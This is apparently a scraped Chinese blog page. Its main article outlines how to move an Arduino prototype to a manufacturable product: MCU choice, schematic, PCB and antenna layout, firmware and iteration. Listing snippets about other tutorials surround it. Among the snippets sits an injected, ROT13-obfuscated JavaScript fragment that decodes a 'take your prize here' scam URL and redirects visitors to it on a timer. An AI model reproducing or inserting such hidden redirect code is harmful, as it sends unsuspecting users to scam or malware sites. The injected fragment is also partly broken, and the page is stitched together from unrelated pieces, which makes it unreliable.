基于Swoole及异步Redis的高性能短信验证码的实现
rx online 此登录功能是基于TP5.1的,首先是在需要进行swoole适配TP5.1,主要是说明实现高性能的思路,注意这个只是针对高性能的登录方案,一个完整的登录流程还需要防抓包、设置Redis失效时间及进一步的优…
rx online 此登录功能是基于TP5.1的,首先是在需要进行swoole适配TP5.1,主要是说明实现高性能的思路,注意这个只是针对高性能的登录方案,一个完整的登录流程还需要防抓包、设置Redis失效时间及进一步的优…
rx online 索引: 第一部分 理论 Section 1 RFID 介绍 Section 2 标签及设备 Section 3 RFID工作原理 Section 4 RFID的应用 Section 5 RFID 追踪 Section 6 未来展望 第二部分 实践 Section 1 电路图 Sectio…
rx online Section 1 Auth App Intro Generate a new React Native project react-native init auth Outline of the auth app We need learn to use: Firebase Form Validation Spinner Logout Login …
rx online In this part we will continue to build an Album App and get all the things done! Section 1 Mastering Layout with Flexbox First we are going to start with the header for each card. Co…
rx online Section 01 Sourcing Album Data From the sketch, we noticed we are facing to challenges: We need to figure out how to get a list of albums (Album Name, Artist Name, images) to show to…
rx online Table of Contents: Part 1 Prototyping Part 2 Style Part 3 Make header reusable Part 1 Prototyping In the preview chapter, we talked about how to install dependencies and show …
rx online Chapter 1 Getting Started Install dependencies on MacOS Install ESLint depending on code editor Generate a React Native project Get coding 1.Install dependencies on MacOS Before inst…
rx online 索引: 第一部分 运行机制 1.1 构架简介 1.2 事件生命周期 1.3 queue 简介 1.4 线程简介 1.5 配置简介 1.6 多实例运行 1.7 Pipeline配置 第二部分 插件详解 2.1 input及glob 2.2 codec 2.3 filter…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
开发产品的原型不管是使用arduino还是其他的开发套件是一个必须的第一步,在开发了产品的原型之后仍然还有很多的事情去做来让能够实现功能的原型成为能够制造、销售的产品。传统的产品开发或许一个公司只做一款或者一个系列的硬件比如只做监控设备或者只做和农业相关的传感设备,但是由于目前开发的物联网平台支持各类传感器的连接,为了开辟更大的市场发挥出这个物联网平台的强大,需要开发出大量的传感器及执行器以适应不同场景下的不同物联网解决方案,需要一个能够快速开发出产品的平台,因此我选择了arduino,选择这个系列或许会对产品的成本带来小幅度的上升,但是由于目前的资源限制,这是一个妥协成本、开发难度、开发时间的合适方案。所以这篇文章我就来说说如何从原型到可制造的产品。
第一步 设计微型控制器的电路
Arduino是一个微型控制器的开发板,所以第一步是设计一个自定义的微信控制器草图来替换Arduino的开发板,设计这个草图的第一步是挑选一个微型控制器,最简单选择微型控制器的策略是选择一个相同的微型控制器。比如说,Arduino UNO的控制器使用的是Atmega328P,那么久选这个。实际上,所有的Arduino的模块除了intel101都是基于Atmel的微型控制器的。在这里可以查看不同型号的arduino对应的微型控制器。
当然,除了选择arduino使用的微型控制器之外还可以选择其他的更加强大的微型控制器或者很多更加便宜的微型控制器比如Cortex ARM微型控制器。但是使用同样的微型控制器能够更加顺滑的将原型过度到产品(这就是为什么之前说价格会稍微上浮的原因),包括硬件设计和软件开发。
arduino是一个开源的平台,所以很容易就能够拿到需要的arduino的设计图
设计说明:
可以注意到这个UNO的图纸包括了两个主要的芯片U3和U4。为什么是两个微型控制器呢?U4是ATmega328P,它是主要的微型控制器。U3是ATmega16U2,它的唯一目的是作为USB串口转换器,因为大多数较低成本的微型控制器不包含内置USB支持,其他arduino使用FTDI专用的USB转串口芯片。因此如果这个产品不需要USB数据通讯(注意,只是说通讯,做电源/充电也不需要这个芯片),那么就可以不适用U3,这样可以大大简化设计。和大多数微型控制器一样,ATmega328P电路由电源,晶体振荡器,编程接口,多个串行接口和大量I/O组成。UNO的电源部分使用了NCP111线性稳压器来从6–20V输入电源产生5V的电压,最大能够提供1A的电流,还有另一个线性稳压器LP2985,用于产生3.3V参考电压。3.3V参考电压馈入比较器(U5A)用来在没有电源供电的时候切换到USB的电压。
第二步 设计电路原理图
就像上一步中,最简单的方法是使用一个自己设计的电路来替换开发板。开源的arduino可以使开发者轻松得到完整的电路原理图。大多数板子都会使用如:UART、I2C、SPI串行接口,在大部分的情况下,还需要少量的GPIO来作为接口(比如说连接esp8266)。所有的微型控制器都提供了UART接口,大部分的微型控制器都提供了I2C个SPI接口。需要确认微型控制器是否包括了需要的串行接口来连接。注意:很多板子的设计比核心的微型控制器更难。尤其是涉及到无线通信功能比如说蓝牙、wifi、GSM、GPS。
第三步 设计PCB
一旦得到了完整的产品原理电路图,那么下一步就是将这个电路转换成真正的PCB,虽然能够在arduino官方得到PCB的设计图,但是还是几乎要重新完整的设计PCB(除非不考虑产品的大小),打但是无论如果arudino的原始布局都可以作为一个参考。如果产品有无线功能,那么还需要特别的注意天线的位置。布局一个RF天线不仅仅是很重的还是相对复杂的。实际上,大多数的电子工程师都不知道如何合理的安放天线的布局,这里是一些不正确的天线布局可以作为参考。
为了通过天线实现最大功率的效果,天线必须要正确的匹配。大多数情况下这意味着是天线的馈电的阻抗为50欧姆还可能需要使用一个pi匹配网络,以便可以调整天线以获得最大的效率。
由于要进行长距离的通信,适当的天线布局和匹配对于GPS和GSM设计来说更加的关键。例如,如果天线为正确调谐就使用GPS没那么接收机将无法检测到操作所需的卫星信号。而使用蓝牙或者wifi等短距离协议,不恰当的天线布局会使得通讯范围缩小,但设计仍然是可以正常工作的。
第四步 订购PCB
淘宝解决
第五步 开发固件/软件
现在需要将arduino的代码移植到的微型控制器里,如果使用的是与arduino相同型号的控制器系列,这会相当容易。不一定需要使用完全相同的控制器,只要选择同一个系列的微控制器通常就可以简化arduino的代码移植。比如说,大部分arduino都是用ATmega系列的微型控制器,因此如果涉及基于ATmega系列MCU将显著简化固件的开发。
第六步 冲洗并重复
不管是多小心也无论是多么优秀的工程师,几乎可以肯定的发现第一个原型存在一些问题,这是正常的。而实际上这就是需要纳入时间计划的事情,找出错误的原因从第四步重复持续迭代产品
rx online 索引 第一部分 生产环境部署 第二部分 写性能优化 第三部分 读性能优化 第一部分 生产环境部署 严格遵照官方建议设置的所有参数Setup Elasticsearch -> Important System Configuration 大概是…